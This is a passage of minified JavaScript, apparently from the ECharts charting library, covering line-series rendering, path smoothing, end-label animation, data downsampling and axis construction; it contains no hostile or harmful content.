R=Math.sqrt(A*A+P*P),p=y-k*a*(1-(T=(N=Math.sqrt(L*L+O*O))/(N+R))),d=m-C*a*(1-T),D=m+C*a*T,I=Uw(I=y+k*a*T,Xw(w,y)),D=Uw(D,Xw(S,m)),I=Xw(I,Uw(w,y)),d=m-(C=(D=Xw(D,Uw(S,m)))-m)*R/N,p=Uw(p=y-(k=I-y)*R/N,Xw(u,y)),d=Uw(d,Xw(c,m)),I=y+(k=y-(p=Xw(p,Uw(u,y))))*N/R,D=m+(C=m-(d=Xw(d,Uw(c,m))))*N/R}t.bezierCurveTo(h,f,p,d,y,m),h=I,f=D}else t.lineTo(y,m)}u=y,c=m,g+=o}return v}var qw=function(){this.smooth=0,this.smoothConstraint=!0},Zw=function(t){function e(e){var n=t.call(this,e)||this;return n.type="ec-polyline",n}return n(e,t),e.prototype.getDefaultStyle=function(){return{stroke:yp.color.neutral99,fill:null}},e.prototype.getDefaultShape=function(){return new qw},e.prototype.buildPath=function(t,e){var n=e.points,r=0,i=n.length/2;if(e.connectNulls){for(;i>0&&Fw(n[2*i-2],n[2*i-1]);i--);for(;r<i&&Fw(n[2*r],n[2*r+1]);r++);}for(;r<i;)r+=Yw(t,n,r,i,i,1,e.smooth,e.smoothMonotone,e.connectNulls)+1},e.prototype.getPointOn=function(t,e){this.path||(this.createPathProxy(),this.buildPath(this.path,this.shape));for(var n,r,i=this.path.data,o=Ns.CMD,a="x"===e,s=[],l=0;l<i.length;){var u=void 0,c=void 0,h=void 0,f=void 0,p=void 0,d=void 0,g=void 0;switch(i[l++]){case o.M:n=i[l++],r=i[l++];break;case o.L:if(u=i[l++],c=i[l++],(g=a?(t-n)/(u-n):(t-r)/(c-r))<=1&&g>=0){var v=a?(c-r)*g+r:(u-n)*g+n;return a?[t,v]:[v,t]}n=u,r=c;break;case o.C:u=i[l++],c=i[l++],h=i[l++],f=i[l++],p=i[l++],d=i[l++];var y=a?In(n,u,h,p,t,s):In(r,c,f,d,t,s);if(y>0)for(var m=0;m<y;m++){var _=s[m];if(_<=1&&_>=0){v=a?kn(r,c,f,d,_):kn(n,u,h,p,_);return a?[t,v]:[v,t]}}n=p,r=d}}},e}(nl),jw=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e}(qw),Kw=function(t){function e(e){var n=t.call(this,e)||this;return n.type="ec-polygon",n}return n(e,t),e.prototype.getDefaultShape=function(){return new jw},e.prototype.buildPath=function(t,e){var n=e.points,r=e.stackedOnPoints,i=0,o=n.length/2,a=e.smoothMonotone;if(e.connectNulls){for(;o>0&&Fw(n[2*o-2],n[2*o-1]);o--);for(;i<o&&Fw(n[2*i],n[2*i+1]);i++);}for(;i<o;){var s=Yw(t,n,i,o,o,1,e.smooth,a,e.connectNulls);Yw(t,r,i+s-1,s,o,-1,e.stackedOnSmooth,a,e.connectNulls),i+=s+1,t.closePath()}},e}(nl);function $w(t,e,n,r,i){var o=t.getArea(),a=o.x,s=o.y,l=o.width,u=o.height,c=n.get(["lineStyle","width"])||0;a-=c/2,s-=c/2,l+=c,u+=c,l=Math.ceil(l),a!==Math.floor(a)&&(a=Math.floor(a),l++);var h=new pl({shape:{x:a,y:s,width:l,height:u}});if(e){var f=t.getBaseAxis(),p=f.isHorizontal(),d=f.inverse;p?(d&&(h.shape.x+=l),h.shape.width=0):(d||(h.shape.y+=u),h.shape.height=0);var g=X(i)?function(t){i(t,h)}:null;Jc(h,{shape:{width:l,height:u,x:a,y:s}},n,null,r,g)}return h}function Qw(t,e,n){var r=t.getArea(),i=so(r.r0,1),o=so(r.r,1),a=new mc({shape:{cx:so(t.cx,1),cy:so(t.cy,1),r0:i,r:o,startAngle:r.startAngle,endAngle:r.endAngle,clockwise:r.clockwise}});e&&("angle"===t.getBaseAxis().dim?a.shape.endAngle=r.startAngle:a.shape.r=i,Jc(a,{shape:{endAngle:r.endAngle,r:o}},n));return a}function Jw(t,e){return t.type===e}function tS(t,e){if(t.length===e.length){for(var n=0;n<t.length;n++)if(t[n]!==e[n])return;return!0}}function eS(t){for(var e=[1/0,-1/0],n=[1/0,-1/0],r=0;r<t.length;){var i=t[r++],o=t[r++];Fw(i,o)||(na(e,i),na(n,o))}return[e,n]}function nS(t,e){var n=eS(t),r=n[0],i=n[1],o=eS(e),a=o[0],s=o[1];return Math.max(Math.abs(r[0]-a[0]),Math.abs(i[0]-s[0]),Math.abs(r[1]-a[1]),Math.abs(i[1]-s[1]))}function rS(t){return Z(t)?t:t?.5:0}function iS(t,e,n,r,i){var o=n.getBaseAxis(),a="x"===o.dim||"radius"===o.dim?0:1,s=[],l=0,u=[],c=[],h=[],f=[];if(i){for(l=0;l<t.length;l+=2){var p=e||t;Fw(p[l],p[l+1])||f.push(t[l],t[l+1])}t=f}for(l=0;l<t.length-2;l+=2)switch(h[0]=t[l+2],h[1]=t[l+3],c[0]=t[l],c[1]=t[l+1],s.push(c[0],c[1]),r){case"end":u[a]=h[a],u[1-a]=c[1-a],s.push(u[0],u[1]);break;case"middle":var d=(c[a]+h[a])/2,g=[];u[a]=g[a]=d,u[1-a]=c[1-a],g[1-a]=h[1-a],s.push(u[0],u[1]),s.push(g[0],g[1]);break;default:u[a]=c[a],u[1-a]=h[1-a],s.push(u[0],u[1])}return s.push(t[l++],t[l++]),s}function oS(t,e,n){var r=t.getVisual("visualMeta");if(r&&r.length&&t.count()&&"cartesian2d"===e.type){for(var i,o,a=r.length-1;a>=0;a--){var s=t.getDimensionInfo(r[a].dimension);if("x"===(i=s&&s.coordDim)||"y"===i){o=r[a];break}}if(o){var l=e.getAxis(i),u=B(o.stops,function(t){return{coord:l.toGlobalCoord(l.dataToCoord(t.value)),color:t.color}}),c=u.length,h=o.outerColors.slice();c&&u[0].coord>u[c-1].coord&&(u.reverse(),h.reverse());var f=function(t,e){var n,r,i=[],o=t.length;function a(t,e,n){var r=t.coord;return{coord:n,color:ar((n-r)/(e.coord-r),[t.color,e.color])}}for(var s=0;s<o;s++){var l=t[s],u=l.coord;if(u<0)n=l;else{if(u>e){r?i.push(a(r,l,e)):n&&i.push(a(n,l,0),a(n,l,e));break}n&&(i.push(a(n,l,0)),n=null),i.push(l),r=l}}return i}(u,"x"===i?n.getWidth():n.getHeight()),p=f.length;if(!p&&c)return u[0].coord<0?h[1]?h[1]:u[c-1].color:h[0]?h[0]:u[0].color;var d=f[0].coord-10,g=f[p-1].coord+10,v=g-d;if(v<.001)return"transparent";E(f,function(t){t.offset=(t.coord-d)/v}),f.push({offset:p?f[p-1].offset:.5,color:h[1]||"transparent"}),f.unshift({offset:p?f[0].offset:.5,color:h[0]||"transparent"});var y=new Bc(0,0,0,0,f,!0);return y[i]=d,y[i+"2"]=g,y}}}function aS(t,e,n){var r=t.get("showAllSymbol"),i="auto"===r;if(!r||i){var o=n.getAxesByScale("ordinal")[0];if(o&&(!i||!function(t,e){var n=t.getExtent(),r=Math.abs(n[1]-n[0])/t.scale.count();isNaN(r)&&(r=0);for(var i=e.count(),o=Math.max(1,Math.round(i/5)),a=0;a<i;a+=o)if(1.5*Aw.getSymbolSize(e,a)[t.isHorizontal()?1:0]>r)return!1;return!0}(o,e))){var a=e.mapDimension(o.dim),s={};return E(o.getViewLabels(),function(t){t.tick.offInterval||(s[bx(o.scale,t.tick)]=1)}),function(t){return!s.hasOwnProperty(e.get(a,t))}}}}function sS(t,e){return[t[2*e],t[2*e+1]]}function lS(t){if(t.get(["endLabel","show"]))return!0;for(var e=0;e<ql.length;e++)if(t.get([ql[e],"endLabel","show"]))return!0;return!1}function uS(t,e,n,r){if(Jw(e,"cartesian2d")){var i=r.getModel("endLabel"),o=i.get("valueAnimation"),a=r.getData(),s={lastFrameIndex:0},l=lS(r)?function(n,r){t._endLabelOnDuring(n,r,a,s,o,i,e)}:null,u=e.getBaseAxis().isHorizontal(),c=$w(e,n,r,function(){var e=t._endLabel;e&&n&&null!=s.originalX&&e.attr({x:s.originalX,y:s.originalY})},l);if(!r.get("clip",!0)){var h=c.shape,f=Math.max(h.width,h.height);u?(h.y-=f,h.height+=2*f):(h.x-=f,h.width+=2*f)}return l&&l(1,c),c}return Qw(e,n,r)}var cS=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n(e,t),e.prototype.init=function(){var t=new Bi,e=new Ew;this.group.add(e.group),this._symbolDraw=e,this._lineGroup=t,this._changePolyState=W(this._changePolyState,this)},e.prototype.render=function(t,e,n){var r=t.coordinateSystem,i=this.group,o=t.getData(),a=t.getModel("lineStyle"),s=t.getModel("areaStyle"),l=o.getLayout("points")||[],u="polar"===r.type,c=this._coordSys,h=this._symbolDraw,f=this._polyline,p=this._polygon,d=this._lineGroup,g=!e.ssr&&t.get("animation"),v=!s.isEmpty(),y=s.get("origin"),m=Bw(r,o,y),_=v&&function(t,e,n){if(null==n.valueDim)return[];for(var r=e.count(),i=Ww(2*r),o=0;o<r;o++){var a=zw(n,t,e,o);i[2*o]=a[0],i[2*o+1]=a[1]}return i}(r,o,m),x=t.get("showSymbol"),b=t.get("connectNulls"),w=x&&!u&&aS(t,o,r),S=this._data;S&&S.eachItemGraphicEl(function(t,e){t.__temp&&(i.remove(t),S.setItemGraphicEl(e,null))}),x||h.remove(),i.add(d);var M,T=!u&&t.get("step");r&&r.getArea&&t.get("clip",!0)&&(null!=(M=r.getArea()).width?(M.x-=.1,M.y-=.1,M.width+=.2,M.height+=.2):M.r0&&(M.r0-=.5,M.r+=.5)),this._clipShapeForSymbol=M;var k=oS(o,r,n)||o.getVisual("style")[o.getVisual("drawType")];if(f&&c.type===r.type&&T===this._step){v&&!p?p=this._newPolygon(l,_):p&&!v&&(d.remove(p),p=this._polygon=null),u||this._initOrUpdateEndLabel(t,r,$f(k));var C=d.getClipPath();if(C)Jc(C,{shape:uS(this,r,!1,t).shape},t);else d.setClipPath(uS(this,r,!0,t));x&&h.updateData(o,{isIgnore:w,clipShape:M,disableAnimation:!0,getSymbolPoint:function(t){return[l[2*t],l[2*t+1]]}}),tS(this._stackedOnPoints,_)&&tS(this._points,l)||(g?this._doUpdateAnimation(o,_,r,n,T,y,b):(T&&(_&&(_=iS(_,l,r,T,b)),l=iS(l,null,r,T,b)),f.setShape({points:l}),p&&p.setShape({points:l,stackedOnPoints:_})))}else x&&h.updateData(o,{isIgnore:w,clipShape:M,disableAnimation:!0,getSymbolPoint:function(t){return[l[2*t],l[2*t+1]]}}),g&&this._initSymbolLabelAnimation(o,r,M),T&&(_&&(_=iS(_,l,r,T,b)),l=iS(l,null,r,T,b)),f=this._newPolyline(l),v?p=this._newPolygon(l,_):p&&(d.remove(p),p=this._polygon=null),u||this._initOrUpdateEndLabel(t,r,$f(k)),d.setClipPath(uS(this,r,!0,t));var I=t.getModel("emphasis"),D=I.get("focus"),L=I.get("blurScope"),P=I.get("disabled");(f.useStyle(A(a.getLineStyle(),{fill:"none",stroke:k,lineJoin:"bevel"})),Pu(f,t,"lineStyle"),f.style.lineWidth>0&&"bolder"===t.get(["emphasis","lineStyle","width"]))&&(f.getState("emphasis").style.lineWidth=+f.style.lineWidth+1);Dl(f).seriesIndex=t.seriesIndex,Du(f,D,L,P);var O=rS(t.get("smooth")),R=t.get("smoothMonotone");if(f.setShape({smooth:O,smoothMonotone:R,connectNulls:b}),p){var N=o.getCalculationInfo("stackedOnSeries"),E=0;p.useStyle(A(s.getAreaStyle(),{fill:k,opacity:.7,lineJoin:"bevel",decal:o.getVisual("style").decal})),N&&(E=rS(N.get("smooth"))),p.setShape({smooth:O,stackedOnSmooth:E,smoothMonotone:R,connectNulls:b}),Pu(p,t,"areaStyle"),Dl(p).seriesIndex=t.seriesIndex,Du(p,D,L,P)}var B=this._changePolyState;o.eachItemGraphicEl(function(t){t&&(t.onHoverStateChange=B)}),this._polyline.onHoverStateChange=B,this._data=o,this._coordSys=r,this._stackedOnPoints=_,this._points=l,this._step=T,this._valueOrigin=y;var z=t.get("triggerEvent"),F=t.get("triggerLineEvent");var V=!0===F||!0===z||"line"===z,H=!0===F||!0===z||"area"===z;this.packEventData(t,f,V),p&&this.packEventData(t,p,H)},e.prototype.packEventData=function(t,e,n){Dl(e).eventData=n?{componentType:"series",componentSubType:"line",componentIndex:t.componentIndex,seriesIndex:t.seriesIndex,seriesName:t.name,seriesType:"line",selfType:e===this._polygon?"area":"line"}:null},e.prototype.highlight=function(t,e,n,r){var i=t.getData(),o=qo(i,r);if(this._changePolyState("emphasis"),!(o instanceof Array)&&null!=o&&o>=0){var a=i.getLayout("points"),s=i.getItemGraphicEl(o);if(!s){var l=a[2*o],u=a[2*o+1];if(Fw(l,u))return;if(this._clipShapeForSymbol&&!this._clipShapeForSymbol.contain(l,u))return;var c=t.get("zlevel")||0,h=t.get("z")||0;(s=new Aw(i,o)).x=l,s.y=u,s.setZ(c,h);var f=s.getSymbolPath().getTextContent();f&&(f.zlevel=c,f.z=h,f.z2=this._polyline.z2+1),s.__temp=!0,i.setItemGraphicEl(o,s),s.stopSymbolAnimation(!0),this.group.add(s)}s.highlight()}else zg.prototype.highlight.call(this,t,e,n,r)},e.prototype.downplay=function(t,e,n,r){var i=t.getData(),o=qo(i,r);if(this._changePolyState("normal"),null!=o&&o>=0){var a=i.getItemGraphicEl(o);a&&(a.__temp?(i.setItemGraphicEl(o,null),this.group.remove(a)):a.downplay())}else zg.prototype.downplay.call(this,t,e,n,r)},e.prototype._changePolyState=function(t){var e=this._polygon;hu(this._polyline,t),e&&hu(e,t)},e.prototype._newPolyline=function(t){var e=this._polyline;return e&&this._lineGroup.remove(e),e=new Zw({shape:{points:t},segmentIgnoreThreshold:2,z2:10}),this._lineGroup.add(e),this._polyline=e,e},e.prototype._newPolygon=function(t,e){var n=this._polygon;return n&&this._lineGroup.remove(n),n=new Kw({shape:{points:t,stackedOnPoints:e},segmentIgnoreThreshold:2}),this._lineGroup.add(n),this._polygon=n,n},e.prototype._initSymbolLabelAnimation=function(t,e,n){var r,i,o=e.getBaseAxis(),a=o.inverse;"cartesian2d"===e.type?(r=o.isHorizontal(),i=!1):"polar"===e.type&&(r="angle"===o.dim,i=!0);var s=t.hostModel,l=s.get("animationDuration");X(l)&&(l=l(null));var u=s.get("animationDelay")||0,c=X(u)?u(null):u;t.eachItemGraphicEl(function(t,o){var s=t;if(s){var h=[t.x,t.y],f=void 0,p=void 0,d=void 0;if(n)if(i){var g=n,v=e.pointToCoord(h);r?(f=g.startAngle,p=g.endAngle,d=-v[1]/180*Math.PI):(f=g.r0,p=g.r,d=v[0])}else{var y=n;r?(f=y.x,p=y.x+y.width,d=t.x):(f=y.y+y.height,p=y.y,d=t.y)}var m=p===f?0:(d-f)/(p-f);a&&(m=1-m);var _=X(u)?u(o):l*m+c,x=s.getSymbolPath(),b=x.getTextContent();s.attr({scaleX:0,scaleY:0}),s.animateTo({scaleX:1,scaleY:1},{duration:200,setToFinal:!0,delay:_}),b&&b.animateFrom({style:{opacity:0}},{duration:300,delay:_}),x.disableLabelAnimation=!0}})},e.prototype._initOrUpdateEndLabel=function(t,e,n){var r=t.getModel("endLabel");if(lS(t)){var i=t.getData(),o=this._polyline,a=i.getLayout("points");if(!a)return o.removeTextContent(),void(this._endLabel=null);var s=this._endLabel;s||((s=this._endLabel=new yl({z2:200})).ignoreClip=!0,o.setTextContent(this._endLabel),o.disableLabelAnimation=!0);var l=function(t){for(var e=t.length/2;e>0&&Fw(t[2*e-2],t[2*e-1]);e--);return e-1}(a);l>=0&&(Lh(o,Ph(t,"endLabel"),{inheritColor:n,labelFetcher:t,labelDataIndex:l,defaultText:function(t,e,n){return null!=n?Dw(i,n):Iw(i,t)},enableTextSetter:!0},function(t,e){var n=e.getBaseAxis(),r=n.isHorizontal(),i=n.inverse,o=r?i?"right":"left":"center",a=r?"middle":i?"top":"bottom";return{normal:{align:t.get("align")||o,verticalAlign:t.get("verticalAlign")||a}}}(r,e)),o.textConfig.position=null)}else this._endLabel&&(this._polyline.removeTextContent(),this._endLabel=null)},e.prototype._endLabelOnDuring=function(t,e,n,r,i,o,a){var s=this._endLabel,l=this._polyline;if(s){t<1&&null==r.originalX&&(r.originalX=s.x,r.originalY=s.y);var u=n.getLayout("points"),c=n.hostModel,h=c.get("connectNulls"),f=o.get("precision"),p=o.get("distance")||0,d=a.getBaseAxis(),g=d.isHorizontal(),v=d.inverse,y=e.shape,m=v?g?y.x:y.y+y.height:g?y.x+y.width:y.y,_=(g?p:0)*(v?-1:1),x=(g?0:-p)*(v?-1:1),b=g?"x":"y",w=function(t,e,n){for(var r,i,o=t.length/2,a="x"===n?0:1,s=0,l=-1,u=0;u<o;u++)if(!Fw(i=t[2*u+a],t[2*u+1-a]))if(0!==u){if(r<=e&&i>=e||r>=e&&i<=e){l=u;break}s=u,r=i}else r=i;return{range:[s,l],t:(e-r)/(i-r)}}(u,m,b),S=w.range,M=S[1]-S[0],T=void 0;if(M>=1){if(M>1&&!h){var k=sS(u,S[0]);s.attr({x:k[0]+_,y:k[1]+x}),i&&(T=c.getRawValue(S[0]))}else{(k=l.getPointOn(m,b))&&s.attr({x:k[0]+_,y:k[1]+x});var C=c.getRawValue(S[0]),I=c.getRawValue(S[1]);i&&(T=function(t,e,n,r,i){var o=null==e||"auto"===e;if(null==r)return r;if(Z(r))return so(d=Ro(n||0,r,i),o?Math.max(uo(n||0),uo(r)):e);if(Y(r))return i<1?n:r;for(var a=[],s=n,l=r,u=Math.max(s?s.length:0,l.length),c=0;c<u;++c){var h=t.getDimensionInfo(c);if(h&&"ordinal"===h.type)a[c]=(i<1&&s?s:l)[c];else{var f=s&&s[c]?s[c]:0,p=l[c],d=Ro(f,p,i);a[c]=so(d,o?Math.max(uo(f),uo(p)):e)}}return a}(n,f,C,I,w.t))}r.lastFrameIndex=S[0]}else{var D=1===t||r.lastFrameIndex>0?S[0]:0;k=sS(u,D);i&&(T=c.getRawValue(D)),s.attr({x:k[0]+_,y:k[1]+x})}if(i){var A=Fh(s);"function"==typeof A.setLabelText&&A.setLabelText(T)}}},e.prototype._doUpdateAnimation=function(t,e,n,r,i,o,a){var s=this._polyline,l=this._polygon,u=t.hostModel,c=function(t,e,n,r,i,o,a){for(var s=function(t,e){var n=[];return e.diff(t).add(function(t){n.push({cmd:"+",idx:t})}).update(function(t,e){n.push({cmd:"=",idx:e,idx1:t})}).remove(function(t){n.push({cmd:"-",idx:t})}).execute(),n}(t,e),l=[],u=[],c=[],h=[],f=[],p=[],d=[],g=Bw(i,e,a),v=t.getLayout("points")||[],y=e.getLayout("points")||[],m=0;m<s.length;m++){var _=s[m],x=!0,b=void 0,w=void 0;switch(_.cmd){case"=":b=2*_.idx,w=2*_.idx1;var S=v[b],M=v[b+1],T=y[w],k=y[w+1];(isNaN(S)||isNaN(M))&&(S=T,M=k),l.push(S,M),u.push(T,k),c.push(n[b],n[b+1]),h.push(r[w],r[w+1]),d.push(e.getRawIndex(_.idx1));break;case"+":var C=_.idx,I=g.dataDimsForPoint,D=i.dataToPoint([e.get(I[0],C),e.get(I[1],C)]);w=2*C,l.push(D[0],D[1]),u.push(y[w],y[w+1]);var A=zw(g,i,e,C);c.push(A[0],A[1]),h.push(r[w],r[w+1]),d.push(e.getRawIndex(C));break;case"-":x=!1}x&&(f.push(_),p.push(p.length))}p.sort(function(t,e){return d[t]-d[e]});var L=l.length,P=Ww(L),O=Ww(L),R=Ww(L),N=Ww(L),E=[];for(m=0;m<p.length;m++){var B=p[m],z=2*m,F=2*B;P[z]=l[F],P[z+1]=l[F+1],O[z]=u[F],O[z+1]=u[F+1],R[z]=c[F],R[z+1]=c[F+1],N[z]=h[F],N[z+1]=h[F+1],E[m]=f[B]}return{current:P,next:O,stackedOnCurrent:R,stackedOnNext:N,status:E}}(this._data,t,this._stackedOnPoints,e,this._coordSys,0,this._valueOrigin),h=c.current,f=c.stackedOnCurrent,p=c.next,d=c.stackedOnNext;if(i&&(f=iS(c.stackedOnCurrent,c.current,n,i,a),h=iS(c.current,null,n,i,a),d=iS(c.stackedOnNext,c.next,n,i,a),p=iS(c.next,null,n,i,a)),nS(h,p)>3e3||l&&nS(f,d)>3e3)return s.stopAnimation(),s.setShape({points:p}),void(l&&(l.stopAnimation(),l.setShape({points:p,stackedOnPoints:d})));s.shape.__points=c.current,s.shape.points=h;var g={shape:{points:p}};c.current!==h&&(g.shape.__points=c.next),s.stopAnimation(),Qc(s,g,u),l&&(l.setShape({points:h,stackedOnPoints:f}),l.stopAnimation(),Qc(l,{shape:{stackedOnPoints:d}},u),s.shape.points!==l.shape.points&&(l.shape.points=s.shape.points));for(var v=[],y=c.status,m=0;m<y.length;m++){if("="===y[m].cmd){var _=t.getItemGraphicEl(y[m].idx1);_&&v.push({el:_,ptIdx:m})}}s.animators&&s.animators.length&&s.animators[0].during(function(){l&&l.dirtyShape();for(var t=s.shape.__points,e=0;e<v.length;e++){var n=v[e].el,r=2*v[e].ptIdx;n.x=t[r],n.y=t[r+1],n.markRedraw()}})},e.prototype.remove=function(t){var e=this.group,n=this._data;this._lineGroup.removeAll(),this._symbolDraw.remove(!0),n&&n.eachItemGraphicEl(function(t,r){t.__temp&&(e.remove(t),n.setItemGraphicEl(r,null))}),this._polyline=this._polygon=this._coordSys=this._points=this._stackedOnPoints=this._endLabel=this._data=null},e.type="line",e}(zg);var hS={average:function(t){for(var e=0,n=0,r=0;r<t.length;r++)isNaN(t[r])||(e+=t[r],n++);return 0===n?NaN:e/n},sum:function(t){for(var e=0,n=0;n<t.length;n++)e+=t[n]||0;return e},max:function(t){for(var e=-1/0,n=0;n<t.length;n++)t[n]>e&&(e=t[n]);return isFinite(e)?e:NaN},min:function(t){for(var e=1/0,n=0;n<t.length;n++)t[n]<e&&(e=t[n]);return isFinite(e)?e:NaN},nearest:function(t){return t[0]}},fS=function(t){return Math.round(t.length/2)};function pS(t){return{seriesType:t,reset:function(t,e,n){var r=t.getData(),i=t.get("sampling"),o=t.coordinateSystem,a=r.count();if(a>10&&"cartesian2d"===o.type&&i){var s=o.getBaseAxis(),l=o.getOtherAxis(s),u=s.getExtent(),c=n.getDevicePixelRatio(),h=Math.abs(u[1]-u[0])*(c||1),f=Math.round(a/h);if(isFinite(f)&&f>1){"lttb"===i?t.setData(r.lttbDownSample(r.mapDimension(l.dim),1/f)):"minmax"===i&&t.setData(r.minmaxDownSample(r.mapDimension(l.dim),1/f));var p=void 0;Y(i)?p=hS[i]:X(i)&&(p=i),p&&t.setData(r.downSample(r.mapDimension(l.dim),1/f,p,fS))}}}}}var dS=function(t){function e(e,n,r,i,o){var a=t.call(this,e,n,r)||this;return a.index=0,a.type=i||"value",a.position=o||"bottom",a}return n(e,t),e.prototype.isHorizontal=function(){var t=this.position;return"top"===t||"bottom"===t},e.prototype.getGlobalExtent=function(t){var e=this.getExtent();return e[0]=this.toGlobalCoord(e[0]),e[1]=this.toGlobalCoord(e[1]),t&&e[0]>e[1]&&e.reverse(),e},e.prototype.pointToData=function(t,e){return this.coordToData(this.toLocalCoord(t["x"===this.dim?0:1]),e)},e.prototype.setCategorySortInfo=function(t){if("category"!==this.type)return!1;this.model.option.categorySortInfo=t,this.scale.setSortInfo(t)},e}(Vb);var gS="expandAxisBreak",vS=Math.PI,yS=[[1,2,1,2],[5,3,5,3],[8,3,8,3]],mS=[[0,1,0,1],[0,3,0,3],[0,3,0,3]],_S=Zo(),xS=Zo(),bS=function(){function t(t){this.recordMap={},this.resolveAxisNameOverlap=t}return t.prototype.ensureRecord=function(t){var e=t.axis.dim,n=t.componentIndex,r=this.recordMap,i=r[e]||(r[e]=[]);return i[n]||(i[n]={ready:{}})},t}();var wS=[1,0,0,1,0,0],SS=new Be(0,0,0,0),MS=function(t,e,n,r,i,o){if(yx(t.nameLocation)){var a=o.stOccupiedRect;a&&TS(function(t,e,n){return t.transform=kh(t.transform,n),t.localRect=Th(t.localRect,e),t.rect=Th(t.rect,e),n&&t.rect.applyTransform(n),t.axisAligned=Sh(n),t.obb=void 0,(t.label=t.label||{}).ignore=!1,t}({},a,o.transGroup.transform),r,i)}else kS(o.labelInfoList,o.dirVec,r,i)};function TS(t,e,n){var r=new Se;lw(t,e,r,{direction:Math.atan2(n.y,n.x),bidirectional:!1,touchThreshold:.05})&&function(t,e){if(t){t.label.x+=e.x,t.label.y+=e.y,t.label.markRedraw();var n=t.transform;n&&(n[4]+=e.x,n[5]+=e.y);var r=t.rect;r&&(r.x+=e.x,r.y+=e.y);var i=t.obb;i&&i.fromBoundingRect(t.localRect,n)}}(e,r)}function kS(t,e,n,r){for(var i=Se.dot(r,e)>=0,o=0,a=t.length;o<a;o++){var s=t[i?o:a-1-o];s.label.ignore||TS(s,n,r)}}var CS=function(){function t(t,e,n,r){this.group=new Bi,this._axisModel=t,this._api=e,this._local={},this._shared=r||new bS(MS),this._resetCfgDetermined(n)}return t.prototype.updateCfg=function(t){var e=this._cfg.raw;e.position=t.position,e.labelOffset=t.labelOffset,this._resetCfgDetermined(e)},t.prototype.__getRawCfg=function(){return this._cfg.raw},t.prototype._resetCfgDetermined=function(t){var e=this._axisModel,n=e.getDefaultOption?e.getDefaultOption():{},r=it(t.axisName,e.get("name")),i=e.get("nameMoveOverlap");null!=i&&"auto"!==i||(i=it(t.defaultNameMoveOverlap,!0));var o={raw:t,position:t.position,rotation:t.rotation,nameDirection:it(t.nameDirection,1),tickDirection:it(t.tickDirection,1),labelDirection:it(t.labelDirection,1),labelOffset:it(t.labelOffset,0),silent:it(t.silent,!0),axisName:r,nameLocation:ot(e.get("nameLocation"),n.nameLocation,"end"),shouldNameMoveOverlap:zS(r)&&i,optionHideOverlap:e.get(["axisLabel","hideOverlap"]),showMinorTicks:e.get(["minorTick","show"])};this._cfg=o;var a=new Bi({x:o.position[0],y:o.position[1],rotation:o.rotation});a.updateTransform(),this._transformGroup=a;var s=this._shared.ensureRecord(e);s.transGroup=this._transformGroup,s.dirVec=new Se(Math.cos(-o.rotation),Math.sin(-o.rotation))},t.prototype.build=function(t,e){var n=this;return t||(t={axisLine:!0,axisTickLabelEstimate:!1,axisTickLabelDetermine:!0,axisName:!0}),E(IS,function(r){t[r]&&DS[r](n._cfg,n._local,n._shared,n._axisModel,n.group,n._transformGroup,n._api,e||{})}),this},t.innerTextLayout=function(t,e,n){var r,i,o=go(e-t);return vo(o)?(i=n>0?"top":"bottom",r="center"):vo(o-vS)?(i=n>0?"bottom":"top",r="center"):(i="middle",r=o>0&&o<vS?n>0?"right":"left":n>0?"left":"right"),{rotation:o,textAlign:r,textVerticalAlign:i}},t.makeAxisEventDataBase=function(t){var e={componentType:t.mainType,componentIndex:t.componentIndex};return e[t.mainType+"Index"]=t.componentIndex,e},t.isLabelSilent=function(t){var e=t.get("tooltip");return t.get("silent")||!(t.get("triggerEvent")||e&&e.show)},t}(),IS=["axisLine","axisTickLabelEstimate","axisTickLabelDetermine","axisName"],DS={axisLine:function(t,e,n,r,i,o,a){var s=r.get(["axisLine","show"]);if("auto"===s&&(s=!0,null!=t.raw.axisLineAutoShow&&(s=!!t.raw.axisLineAutoShow)),s){var l=r.axis.getExtent(),u=o.transform,c=[l[0],0],h=[l[1],0],f=c[0]>h[0];u&&(Ht(c,c,u),Ht(h,h,u));var p=I({lineCap:"round"},r.getModel(["axisLine","lineStyle"]).getLineStyle()),d={strokeContainThreshold:t.raw.strokeContainThreshold||5,silent:!0,z2:1,style:p};if(r.get(["axisLine","breakLine"])&&pf(r.axis.scale))null.buildAxisBreakLine(r,i,o,d);else{var g=new Ic(I({shape:{x1:c[0],y1:c[1],x2:h[0],y2:h[1]}},d));gh(g.shape,g.style.lineWidth),g.anid="line",i.add(g)}var v=r.get(["axisLine","symbol"]);if(null!=v){var y=r.get(["axisLine","symbolSize"]);Y(v)&&(v=[v,v]),(Y(y)||Z(y))&&(y=[y,y]);var m=Yv(r.get(["axisLine","symbolOffset"])||0,y),_=y[0],x=y[1];E([{rotate:t.rotation+Math.PI/2,offset:m[0],r:0},{rotate:t.rotation-Math.PI/2,offset:m[1],r:Math.sqrt((c[0]-h[0])*(c[0]-h[0])+(c[1]-h[1])*(c[1]-h[1]))}],function(e,n){if("none"!==v[n]&&null!=v[n]){var r=Xv(v[n],-_/2,-x/2,_,x,p.stroke,!0),o=e.r+e.offset,a=f?h:c;r.attr({rotation:e.rotate,x:a[0]+o*Math.cos(t.rotation),y:a[1]-o*Math.sin(t.rotation),silent:!0,z2:11}),i.add(r)}})}}},axisTickLabelEstimate:function(t,e,n,r,i,o,a,s){OS(e,i,s)&&AS(t,e,n,r,i,o,a,Sb)},axisTickLabelDetermine:function(t,e,n,r,i,o,a,s){OS(e,i,s)&&AS(t,e,n,r,i,o,a,Mb);var l=function(t,e,n,r){var i=r.axis,o=r.getModel("axisTick"),a=o.get("show");"auto"===a&&(a=!0,null!=t.raw.axisTickAutoShow&&(a=!!t.raw.axisTickAutoShow));if(!a||i.scale.isBlank())return[];for(var s=o.getModel("lineStyle"),l=t.tickDirection*o.get("length"),u=PS(i.getTicksCoords(),n.transform,l,A(s.getLineStyle(),{stroke:r.get(["axisLine","lineStyle","color"])}),"ticks"),c=0;c<u.length;c++)e.add(u[c]);return u}(t,i,o,r);!function(t,e,n){if(t.showMinorTicks)return;E(e,function(t){if(t&&t.label.ignore)for(var e=0;e<n.length;e++){var r=n[e],i=xS(r),o=_S(t.label);if(null!=i.tickValue&&!i.onBand&&i.tickValue===o.labelInfo.tick.value)return void LS(r)}})}(t,e.labelLayoutList,l),function(t,e,n,r,i){var o=r.axis,a=r.getModel("minorTick");if(!t.showMinorTicks||o.scale.isBlank())return;var s=o.getMinorTicksCoords();if(!s.length)return;for(var 